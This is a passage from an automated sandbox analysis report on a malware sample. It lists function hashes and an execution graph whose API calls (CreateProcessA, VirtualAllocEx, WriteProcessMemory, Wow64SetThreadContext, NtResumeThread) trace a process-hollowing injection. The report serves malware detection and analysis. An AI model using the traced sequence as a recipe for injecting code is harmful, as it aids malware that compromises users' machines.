                                                                                                      • Opcode Fuzzy Hash: e286153e440145826532eaa9bc77880c58532fc1dd06e047aed5796fa6e830f5
                                                                                                      • Instruction Fuzzy Hash: 41118B753012068FCB59BB38E41897D37AAFBC8661708802DE917CB391DF39D802CBA5
                                                                                                      Function 0175D4D3 Relevance: .1, Instructions: 56COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2617280794.000000000175D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0175D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_175d000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 335ff2cd27920e120e44ddd98b5f99d48130ef09aa4f624435d54826826d70db
                                                                                                      • Instruction ID: f4906fd79f585ae31e659a6cb81a3881be2ec67d9209a205af62b4c1040db1de
                                                                                                      • Opcode Fuzzy Hash: 335ff2cd27920e120e44ddd98b5f99d48130ef09aa4f624435d54826826d70db
                                                                                                      • Instruction Fuzzy Hash: 8E119D76504240CFDB26CF54D5C4B16BF62FB84218F2486A9DD490A256C33AD45ACBA1
                                                                                                      Function 07FC2100 Relevance: .1, Instructions: 55COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0bb829cc565f859e4dea0667750f04bc46be6eaec1a3b503bf0c6b4dd154836b
                                                                                                      • Instruction ID: ffba9a3e7b45ca5e0b70df7e506099eb16915a334ed5d4becfd3f0f7e981e6cb
                                                                                                      • Opcode Fuzzy Hash: 0bb829cc565f859e4dea0667750f04bc46be6eaec1a3b503bf0c6b4dd154836b
                                                                                                      • Instruction Fuzzy Hash: AA11E1717013019FC725DA34DC44A6A7BA2EBCA320F14855DD6168BA91CB75EC02CB90
                                                                                                      Function 07FC8EB8 Relevance: .0, Instructions: 48COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 87694ce864f6722feccf0737de2738e98a29e91838f35d9d41e332343d100417
                                                                                                      • Instruction ID: fd30bef3db38004c8c3166f31536046d37f4ce3ddd0ee18fbb9195a61cbda0b6
                                                                                                      • Opcode Fuzzy Hash: 87694ce864f6722feccf0737de2738e98a29e91838f35d9d41e332343d100417
                                                                                                      • Instruction Fuzzy Hash: C701D270A083499FD71ADBB09514259BBB2AF85315F1880AED4499BA91CF391C06CB92
                                                                                                      Function 07FC9808 Relevance: .0, Instructions: 46COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 49f54f33ee66997a6d50c5d78ffb77420c88c21cf1af5d17ff1640477811133c
                                                                                                      • Instruction ID: e2afff667ca1a74cb4737e0332a636a007e73e680ca85018f90b6480694768cd
                                                                                                      • Opcode Fuzzy Hash: 49f54f33ee66997a6d50c5d78ffb77420c88c21cf1af5d17ff1640477811133c
                                                                                                      • Instruction Fuzzy Hash: 85112A71A11265DFCB15DF98DA94EADBBB1FF48320F090059E501AB3A2CB74AC45CB41
                                                                                                      Function 07FC0373 Relevance: .0, Instructions: 44COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 40a2b6ef6ebcad7d182ae6984c861198997816c910b98bba2b07c5262b720604
                                                                                                      • Instruction ID: a5adc3078b40cf128f761b99bc1352a8a2f0e583ab7f01055cd1ea66932129e7
                                                                                                      • Opcode Fuzzy Hash: 40a2b6ef6ebcad7d182ae6984c861198997816c910b98bba2b07c5262b720604
                                                                                                      • Instruction Fuzzy Hash: D3018071E1420ACFCB14DFA8DA9456DBBB1FF85315F16856DD8856B210DF30A8C5CB90
                                                                                                      Function 07FC2110 Relevance: .0, Instructions: 44COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: ef9ae4c85fc599b52f28e41ca4079be8804ae614c58d1fc75f3e27f045dfe88f
                                                                                                      • Instruction ID: a263c3fcf7a6a9b20177e09e1c33ad2f45628364d0e1b89d092d1da50e78e94d
                                                                                                      • Opcode Fuzzy Hash: ef9ae4c85fc599b52f28e41ca4079be8804ae614c58d1fc75f3e27f045dfe88f
                                                                                                      • Instruction Fuzzy Hash: 2D01BC717003018FC728EA28DC44A3B77A2FBCA324F14852CE6164BB90CB76EC42CB90
                                                                                                      Function 07FC3840 Relevance: .0, Instructions: 42COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 9eb1c5e1bc71c63c2453a70e232230814b68cea7ce157e4ab8dd8ba40c09e4dc
                                                                                                      • Instruction ID: 8078dc0fe0d0e451a12cfe0e1d6e82a04a2a6d317c5f67a09adad8c2d0495a19
                                                                                                      • Opcode Fuzzy Hash: 9eb1c5e1bc71c63c2453a70e232230814b68cea7ce157e4ab8dd8ba40c09e4dc
                                                                                                      • Instruction Fuzzy Hash: 8A01A771B002089FDB14DB58ED84BDAB7F6EF89310F1041B9D60997391CE71AD45CB51
                                                                                                      Function 07FCA60F Relevance: .0, Instructions: 40COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 76f8e360e511e80d3cbb1a8ca88439b7c9ef875c3f03c250d58195131f8ae637
                                                                                                      • Instruction ID: 03f31340835d4c1bbf694493ff679bdea5dcb7abb9e313fc9b0038c6f03dac04
                                                                                                      • Opcode Fuzzy Hash: 76f8e360e511e80d3cbb1a8ca88439b7c9ef875c3f03c250d58195131f8ae637
                                                                                                      • Instruction Fuzzy Hash: 26015A75E1460ADFCB01DFA9D60459DBBF1FF89300F14816AE415A7220EB30AA09CFA2
                                                                                                      Function 0175D603 Relevance: .0, Instructions: 37COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2617280794.000000000175D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0175D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_175d000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 775e5257a8b81c510d5b5f110c18a025a938f7d065d4ed04572233dac3a3ac21
                                                                                                      • Instruction ID: c3257f33cfabccc78c4bdcd9110799f8a91ce440f2c0aeacf17f540463c66099
                                                                                                      • Opcode Fuzzy Hash: 775e5257a8b81c510d5b5f110c18a025a938f7d065d4ed04572233dac3a3ac21
                                                                                                      • Instruction Fuzzy Hash: 03F0F976600604AF9720CF4AD884C23FBADEBD4770715C59AEC4A8B612C671EC42CEB1
                                                                                                      Function 07FC9AA0 Relevance: .0, Instructions: 36COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 4af19c7e3ab78d10f7281438369ab0119b69fd0fd34a4ee7ac47206a0de630a4
                                                                                                      • Instruction ID: afa769202145125b003c52cb4cd524db8c2b29a5d88090b3b4cb0be1db3d37a8
                                                                                                      • Opcode Fuzzy Hash: 4af19c7e3ab78d10f7281438369ab0119b69fd0fd34a4ee7ac47206a0de630a4
                                                                                                      • Instruction Fuzzy Hash: 6FF0BEB2B056126FE714C619A804B6AF7E9EBC9720F184429E5499B390DAA2FC418794
                                                                                                      Function 0175D5F4 Relevance: .0, Instructions: 35COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2617280794.000000000175D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0175D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_175d000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b65568d70fb6b7cf6e252895dc821fed40df4e1a8a31e20b91de8872facb9a9a
                                                                                                      • Instruction ID: 1911265411c980c5632ed9569f7000f10b0969bb07452c49b1f1dae0ffd58dbf
                                                                                                      • Opcode Fuzzy Hash: b65568d70fb6b7cf6e252895dc821fed40df4e1a8a31e20b91de8872facb9a9a
                                                                                                      • Instruction Fuzzy Hash: FBF03775104680AFD325CF46C884C22BBB9EF8976071A8489E84A8B362C671FC42CF71
                                                                                                      Function 07FC2F50 Relevance: .0, Instructions: 34COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: dcfb3457faa40c6d8cfd0f31bea633f90d0036f4ee05290fb129d89be2d0827c
                                                                                                      • Instruction ID: 6b64d488fdadc9f1e4b36f89c2d3348f9ad742e3dd3f5ea15098758089571b15
                                                                                                      • Opcode Fuzzy Hash: dcfb3457faa40c6d8cfd0f31bea633f90d0036f4ee05290fb129d89be2d0827c
                                                                                                      • Instruction Fuzzy Hash: 06F0E57070030A8FD764B6789D05B6A33AAFB81215F14547DE126CF284DE72DC41C7A1
                                                                                                      Function 07FC9491 Relevance: .0, Instructions: 27COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 50465f59010e90c9fbc1144b6e83548fef4b894c6fa68b1f9cb6166c3ffa5047
                                                                                                      • Instruction ID: 1abe2f6edaddad8e7b01939456bdf56bccb7d9846d7c07cc109e0516db11b7ee
                                                                                                      • Opcode Fuzzy Hash: 50465f59010e90c9fbc1144b6e83548fef4b894c6fa68b1f9cb6166c3ffa5047
                                                                                                      • Instruction Fuzzy Hash: 70F0A0757002049FEB04CB18D944A99BBE5FF89724F158099E509AF362C771FC018F90
                                                                                                      Function 07FC8F08 Relevance: .0, Instructions: 25COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 458c802a8c91046ad8663a8707b794894e5291a5904ab5b660b9412a5427175a
                                                                                                      • Instruction ID: 767712d6e06928a665ccb36e48ee9cfd1157738af1af468e05592b3018a462ed
                                                                                                      • Opcode Fuzzy Hash: 458c802a8c91046ad8663a8707b794894e5291a5904ab5b660b9412a5427175a
                                                                                                      • Instruction Fuzzy Hash: 0EE026755447019FEB1BCBB5A9042CABFF29FC9212B0DC51BE0999A962CF380802CFD5
                                                                                                      Function 07FC995F Relevance: .0, Instructions: 19COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 70411b5a0426b9b2a50a4305e476d84f034bc5635364cdbe16c978427401ad81
                                                                                                      • Instruction ID: fe2642cce08004807ccbce6506565112e12d331d0a4e9f696fd9d14ac7ef8fc6
                                                                                                      • Opcode Fuzzy Hash: 70411b5a0426b9b2a50a4305e476d84f034bc5635364cdbe16c978427401ad81
                                                                                                      • Instruction Fuzzy Hash: CDD02B71300004A7E304B7FDD42016E76ABCFC9360F04C02A964A937C48E325C018FE7
                                                                                                      Function 07FCA05F Relevance: .0, Instructions: 18COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0af37693a331c76a05ebf800e6161450e406ee7da61cdda25c6967a7813ca18e
                                                                                                      • Instruction ID: 86bac210ca71b62300dbb213b6eed89743171a8ca4de6bd6b5ce46463c25a9b6
                                                                                                      • Opcode Fuzzy Hash: 0af37693a331c76a05ebf800e6161450e406ee7da61cdda25c6967a7813ca18e
                                                                                                      • Instruction Fuzzy Hash: 35D05E75009281AFC303CB10CC119C1FF719F96218318CB9FE1868B163CA37A903DB90
                                                                                                      Function 07FC9970 Relevance: .0, Instructions: 16COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 991091f9d16dadfa8326c0879590125bdb4434842134098b799dc4c2958c3adc
                                                                                                      • Instruction ID: 91508407f44dd0ddd1113c14309aae2496a8e5e1051eb48be5d3dcc3357a7b1d
                                                                                                      • Opcode Fuzzy Hash: 991091f9d16dadfa8326c0879590125bdb4434842134098b799dc4c2958c3adc
                                                                                                      • Instruction Fuzzy Hash: 0DD012B631015447D718E7BEE41057F7ADFDBC9660B04846ADB0AC3B94CE729C014BEA
                                                                                                      Function 07FC23E0 Relevance: .0, Instructions: 7COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 606e7896cf5ba4ae8cb2d24938043c052d1d5820c8bbf06c69a39625b2c16880
                                                                                                      • Instruction ID: 3f33bf5d5bebc809d90235e06da4635ea3ab44d6b400bb6cf79d6f1f818fc541
                                                                                                      • Opcode Fuzzy Hash: 606e7896cf5ba4ae8cb2d24938043c052d1d5820c8bbf06c69a39625b2c16880
                                                                                                      • Instruction Fuzzy Hash: 03B09232006208AB8600AA84E804855FB6DAB99600710C025A60A061129B32A822DB98

                                                                                                      Execution Graph

                                                                                                      Execution Coverage:10.9%
                                                                                                      Dynamic/Decrypted Code Coverage:100%
                                                                                                      Signature Coverage:0%
                                                                                                      Total number of Nodes:181
                                                                                                      Total number of Limit Nodes:4
                                                                                                      execution_graph 65446 733a960 65447 733a96a 65446->65447 65451 2c49100 65447->65451 65455 2c49110 65447->65455 65452 2c49110 65451->65452 65459 2c49594 65452->65459 65456 2c49125 65455->65456 65458 2c49594 2 API calls 65456->65458 65457 2c4913b 65458->65457 65460 2c495a3 65459->65460 65464 2c49f00 65460->65464 65468 2c49efb 65460->65468 65461 2c495d6 65465 2c49f48 VirtualProtect 65464->65465 65467 2c49f83 65465->65467 65467->65461 65469 2c49f48 VirtualProtect 65468->65469 65471 2c49f83 65469->65471 65471->65461 65472 663c4b0 65473 663c4fe NtProtectVirtualMemory 65472->65473 65475 663c548 65473->65475 65235 2bdc938 65236 2bdc97a 65235->65236 65237 2bdc980 GetModuleHandleW 65235->65237 65236->65237 65238 2bdc9ad 65237->65238 65239 72b1cb0 65240 72b1ccd 65239->65240 65242 72b1cdd 65240->65242 65245 72b8d5b 65240->65245 65249 72b36ee 65240->65249 65252 72b272f 65240->65252 65246 72b8d7a 65245->65246 65256 72befe8 65246->65256 65251 72befe8 VirtualProtect 65249->65251 65250 72b2511 65251->65250 65253 72ba047 65252->65253 65264 72bfed0 65253->65264 65257 72bf00f 65256->65257 65260 72bf438 65257->65260 65261 72bf480 VirtualProtect 65260->65261 65263 72b8da1 65261->65263 65265 72bfee5 65264->65265 65269 72e0006 65265->65269 65274 72e0040 65265->65274 65266 72ba06b 65271 72e0067 65269->65271 65270 72e0123 65270->65266 65279 72e0148 65271->65279 65283 72e0140 65271->65283 65276 72e0067 65274->65276 65275 72e0123 65275->65266 65277 72e0148 VirtualAlloc 65276->65277 65278 72e0140 VirtualAlloc 65276->65278 65277->65275 65278->65275 65280 72e0188 VirtualAlloc 65279->65280 65282 72e01c2 65280->65282 65282->65270 65284 72e0146 VirtualAlloc 65283->65284 65285 72e0117 65283->65285 65287 72e01c2 65284->65287 65285->65270 65287->65270 65288 66350d8 65289 66350ed 65288->65289 65293 6635666 65289->65293 65298 66353f6 65289->65298 65294 6635670 65293->65294 65295 66353f5 65293->65295 65295->65293 65303 6635ac0 65295->65303 65317 6635ab0 65295->65317 65299 66353f5 65298->65299 65299->65298 65300 6635670 65299->65300 65301 6635ac0 10 API calls 65299->65301 65302 6635ab0 10 API calls 65299->65302 65301->65299 65302->65299 65304 6635ad5 65303->65304 65305 6635af7 65304->65305 65331 663689a 65304->65331 65336 66366db 65304->65336 65341 6636095 65304->65341 65346 6636037 65304->65346 65351 6636832 65304->65351 65356 6636742 65304->65356 65361 6636612 65304->65361 65366 66362dc 65304->65366 65371 663675c 65304->65371 65376 6635c7d 65304->65376 65381 6636bad 65304->65381 65305->65295 65318 6635ac0 65317->65318 65319 6635af7 65318->65319 65320 6636612 2 API calls 65318->65320 65321 6636742 2 API calls 65318->65321 65322 6636832 2 API calls 65318->65322 65323 6636037 2 API calls 65318->65323 65324 6636095 2 API calls 65318->65324 65325 66366db 2 API calls 65318->65325 65326 663689a 2 API calls 65318->65326 65327 6636bad 2 API calls 65318->65327 65328 6635c7d 2 API calls 65318->65328 65329 663675c 2 API calls 65318->65329 65330 66362dc 2 API calls 65318->65330 65319->65295 65320->65319 65321->65319 65322->65319 65323->65319 65324->65319 65325->65319 65326->65319 65327->65319 65328->65319 65329->65319 65330->65319 65332 66368a9 65331->65332 65386 663e363 65332->65386 65390 663e368 65332->65390 65333 6636945 65337 66366ea 65336->65337 65394 663d6c0 65337->65394 65398 663d6c8 65337->65398 65338 6636719 65342 66360a4 65341->65342 65344 663e363 WriteProcessMemory 65342->65344 65345 663e368 WriteProcessMemory 65342->65345 65343 6636118 65343->65305 65344->65343 65345->65343 65347 663604f 65346->65347 65402 66373e1 65347->65402 65407 66373f0 65347->65407 65348 6636067 65352 663683f 65351->65352 65353 6635c5d 65352->65353 65430 663e9d0 65352->65430 65434 663e9d8 65352->65434 65357 6636611 65356->65357 65358 6635c5d 65356->65358 65359 663d6c0 Wow64SetThreadContext 65357->65359 65360 663d6c8 Wow64SetThreadContext 65357->65360 65359->65358 65360->65358 65363 6636621 65361->65363 65362 6635c5d 65364 663d6c0 Wow64SetThreadContext 65363->65364 65365 663d6c8 Wow64SetThreadContext 65363->65365 65364->65362 65365->65362 65367 66362e6 65366->65367 65438 663e0c5 65367->65438 65442 663e0c8 65367->65442 65368 6635c5d 65372 6635c5d 65371->65372 65373 6636302 65371->65373 65374 663e0c5 VirtualAllocEx 65373->65374 65375 663e0c8 VirtualAllocEx 65373->65375 65374->65372 65375->65372 65377 6635c91 65376->65377 65379 663e363 WriteProcessMemory 65377->65379 65380 663e368 WriteProcessMemory 65377->65380 65378 6635c5d 65378->65305 65379->65378 65380->65378 65382 6636bb7 65381->65382 65384 663e9d0 NtResumeThread 65382->65384 65385 663e9d8 NtResumeThread 65382->65385 65383 6635c5d 65384->65383 65385->65383 65387 663e3b0 WriteProcessMemory 65386->65387 65389 663e407 65387->65389 65389->65333 65391 663e3b0 WriteProcessMemory 65390->65391 65393 663e407 65391->65393 65393->65333 65395 663d70d Wow64SetThreadContext 65394->65395 65397 663d755 65395->65397 65397->65338 65399 663d70d Wow64SetThreadContext 65398->65399 65401 663d755 65399->65401 65401->65338 65403 66373ef 65402->65403 65404 6637429 65403->65404 65412 66379e9 65403->65412 65417 6637970 65403->65417 65404->65348 65408 6637407 65407->65408 65409 6637429 65408->65409 65410 66379e9 2 API calls 65408->65410 65411 6637970 2 API calls 65408->65411 65409->65348 65410->65409 65411->65409 65413 6637a0e 65412->65413 65422 663cf01 65413->65422 65426 663cf08 65413->65426 65414 66374cb 65418 663797f 65417->65418 65420 663cf01 CreateProcessA 65418->65420 65421 663cf08 CreateProcessA 65418->65421 65419 66374cb 65420->65419 65421->65419 65423 663cf6c CreateProcessA 65422->65423 65425 663d0f4 65423->65425 65427 663cf6c CreateProcessA 65426->65427 65429 663d0f4 65427->65429 65431 663ea20 NtResumeThread 65430->65431 65433 663ea55 65431->65433 65433->65353 65435 663ea20 NtResumeThread 65434->65435 65437 663ea55 65435->65437 65437->65353 65439 663e108 VirtualAllocEx 65438->65439 65441 663e145 65439->65441 65441->65368 65443 663e108 VirtualAllocEx 65442->65443 65445 663e145 65443->65445 65445->65368 65476 2bde9e0 65477 2bdea26 65476->65477 65480 2bdefc8 65477->65480 65483 2bdebf4 65480->65483 65484 2bdf030 DuplicateHandle 65483->65484 65485 2bdeb13 65484->65485

                                                                                                      Executed Functions

                                                                                                      Function 07790040 Relevance: 2.3, Strings: 1, Instructions: 1098COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1859050269.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7790000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: 4
                                                                                                      • API String ID: 0-4088798008
                                                                                                      • Opcode ID: 7cfeae2851306106e9de2b3a37dcb3724db2ba08c340ed95aa50b456c736c0b8
                                                                                                      • Instruction ID: b7938ba2eaf1157d5b252b61dd0bfdcd4fd29857a1a0b41bd508f6698e5383fc
                                                                                                      • Opcode Fuzzy Hash: 7cfeae2851306106e9de2b3a37dcb3724db2ba08c340ed95aa50b456c736c0b8
                                                                                                      • Instruction Fuzzy Hash: ADB228B4A1121ADFEB24CF94D984BADB7B6FF48300F1485A9E505AB2A5CB71EC41CF50
                                                                                                      Function 07790367 Relevance: 1.7, Strings: 1, Instructions: 495COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1859050269.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7790000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: 4
                                                                                                      • API String ID: 0-4088798008
                                                                                                      • Opcode ID: e8254d835b5095c9a4012d2c55084681f09b5e8cf92123d0aefd041dd9010f96
                                                                                                      • Instruction ID: 3ee2b3339740e58c544c297e8da15f0df305f35602bc9ec9c0484a0ce14a06b1
                                                                                                      • Opcode Fuzzy Hash: e8254d835b5095c9a4012d2c55084681f09b5e8cf92123d0aefd041dd9010f96
                                                                                                      • Instruction Fuzzy Hash: 65223BB4A1121ACFEF24DF64D994BADB7B2FF48340F1485A9D509AB265DB30AC81CF50
                                                                                                      Function 073113F0 Relevance: 1.7, Instructions: 1650COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1858366424.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7310000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: bb52b3d96fa3e6da1ea8b0cc4f29a7c7f96c9ec4854c052d1f983d21acde5303
                                                                                                      • Instruction ID: 3b5383e6b325980f0dc698b8bd41c1c7ee9871373537d1f1d70ed8b6835e6770
                                                                                                      • Opcode Fuzzy Hash: bb52b3d96fa3e6da1ea8b0cc4f29a7c7f96c9ec4854c052d1f983d21acde5303
                                                                                                      • Instruction Fuzzy Hash: 12D2BEB4A09389DFEB1A8BB0D855BEE7FB5BF46300F05409AE144AB2E2C7745845CF61
                                                                                                      Function 0663C4AB Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1650 663c4ab-663c546 NtProtectVirtualMemory 1653 663c548-663c54e 1650->1653 1654 663c54f-663c574 1650->1654 1653->1654
                                                                                                      APIs
                                                                                                      • NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0663C539
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProtectVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 2706961497-0
                                                                                                      • Opcode ID: b52ef99ce383c414918bd1235fb170b043a5f870b7e7b0ced3990ff688a5ae3b
                                                                                                      • Instruction ID: 20af4641c8d6606fd58d3566592a0ae27cd22a011580db16fb08dd7fbf61558a
                                                                                                      • Opcode Fuzzy Hash: b52ef99ce383c414918bd1235fb170b043a5f870b7e7b0ced3990ff688a5ae3b
